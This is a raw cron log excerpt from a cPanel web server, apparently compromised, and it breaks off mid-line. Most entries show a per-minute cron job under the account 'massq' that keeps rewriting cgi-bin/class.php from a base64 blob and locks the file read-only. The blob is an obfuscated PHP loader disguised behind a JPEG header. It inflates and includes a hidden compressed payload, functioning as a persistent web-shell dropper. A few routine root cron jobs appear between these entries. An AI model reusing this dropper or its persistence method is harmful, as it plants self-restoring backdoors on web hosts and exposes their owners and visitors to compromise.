Nov 14 07:11:01 server CROND[23151]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 07:12:01 server CROND[23417]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 07:12:01 server CROND[23418]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 14 07:13:01 server CROND[24274]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 07:14:01 server CROND[25172]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 07:15:01 server CROND[26041]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 07:15:01 server CROND[26042]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 07:15:01 server CROND[26043]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 07:16:01 server CROND[26953]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 07:17:01 server CROND[27808]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 07:18:01 server CROND[28667]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 07:19:01 server CROND[29642]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 07:20:01 server CROND[30506]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 07:20:01 server CROND[30508]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 07:20:01 server CROND[30514]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 07:20:01 server CROND[30513]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 07:20:01 server CROND[30515]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 14 07:21:01 server CROND[31569]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 07:22:01 server CROND[32464]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 07:23:01 server CROND[874]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 07:24:01 server CROND[1842]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo 